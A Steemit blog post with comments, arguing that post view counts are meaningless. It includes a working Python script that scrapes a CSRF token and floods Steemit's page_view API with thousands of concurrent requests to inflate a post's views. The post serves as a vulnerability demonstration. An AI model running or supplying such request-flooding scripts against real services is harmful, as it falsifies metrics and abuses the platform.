View count on Steemit posts - Is it really important?
I have heard a couple of times that "view counts" should be parallel with the post rewards. Some whales actually downvote posts because of that. However, on a decentralized blockchain, view count value is a misleading information.
Why view count is not a good metric
It's bounded to Steemit. Steemit is not the only interface, people use other interfaces, too. We have Busy, condenser forks, Utopian, Dmania, Dlive, Dtube etc...
If the user doesn't use Steemit, view count stays same since this is a simple counter implemented on Steemit.com, not the blockchain itself.
It's very easy to boost the view count
With a small reverse-engineering on the Steemit APIs, you can actually boost the view count very easily. Here is an evil tool - I have come up in the past while I was trying to learn how view counts work.
import requests, re
from urllib.parse import urlparse
import concurrent.futures
def boost_view(post_url):
parsed_url = urlparse(post_url)
session = requests.session()
session.headers.update({
'accept': 'application/json',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'en-US,en;q=0.8',
'Connection': 'keep-alive',
'content-type': 'text/plain;charset=UTF-8',
'Host': 'steemit.com',
'Origin': 'https://steemit.com'
})
r = session.get("https://steemit.com")
token = re.findall(b'"csrf":"(.*?)",', r.content)[0]
r = session.post(
'https://steemit.com/api/v1/page_view',
json={"page": parsed_url.path, "csrf": token.decode("utf8")}
)
resp = r.json()["views"]
print(resp)
return resp
URL = "steemit_post_url"
with concurrent.futures.ProcessPoolExecutor(max_workers=4) as executor:
for i in range(5000):
executor.submit(boost_view, URL)
executor.shutdown(wait=True)
To prove the concept, I will boost this post's view count to the moon. If whales think that rewards should be in direct proportion to the rewards, I should get huge upvotes as a result, right? :)
for non-coders, refresh also works.
hahahahah :D
upvoted here, preferable not everyone to be aware of it until it's somewhat fixed.
Hi @transisto How crazy is when developers find this type of vulnerabilities. In this case not to worry that much, but its something to review and fix.
Regards, @gold84
Wow 31,000 + views!! Lol. Thanks for sharing this and spreading awareness @emrebeyler. That's a little frightening...
Oh great info I didn't know about this at all, and sometimes I did get perplexed looking at the difference in no of upvotes and views count. I am so glad to know how that works ... thank you so much!
It's a metric that doesn't make any sense at all, should be disabled imho.
Çok iyi ya bu !
satayım reis.
Güzel bilgilendirme eline sağlık dostum...
Lol i hope you can do that with your upvotes instead of view count. :)
That would be an unlimited cash generator 🤓
Well you are close. I believe in you xD
Çok işe yarayacağa benziyor , whaleleri bekliyoruz o halde :D
pek bir işe yaramaz ama view count'in gereksizliğini ve önemsizliğini kanıtlıyor bence :)
Belki tıklandığında kimlerin baktığını görebildiğimiz bir sayfaya ulaştırırsa daha iyi olabilir.
I always thought there was no point to it if there no rewards were based on it (say 1000000 views = 1 sbd). Congrats on your +14500 view :-D
Well, I have actually stopped the script but somebody is still pumping the number :)
Binding view count to reward logic is impossible due to it's nature - it's easily exploitable.
I am relatively new to steemit and steem. Over the last few weeks I have been exploring posts in steemdev, programming, python, and utopian-io Apolgies in advance for replying in the context of this code sample. My question, if you could be so kind, which git repository or where should I look for a base code pull if I want to run a program which for starters, retrieves information from the Steem block chain?
Hi @synergysteem, it depends a bit on what you want to do.
If you want to look at the "current state" of the blockchain or stream/follow live what's happening, there's steem-python or steem-js. There is a whole series of tutorials about steem-python by the @steempytutorials team, check their blog.
Those tools are however slow or unhandy if you want to look into the past with more complex conditions. Something like "get all posts that were submitted by a user A between time X and Y, where user B voted on", etc... For stuff like that, there are blockchain databases like steemdata.com (their MongoDB works great with python, you'll find a howro and their github on their page) or steemsql.com (seems to work great with Excel/PowerBI/... - I have no experience with that myself).
Thank you @crokkon for the links and direction.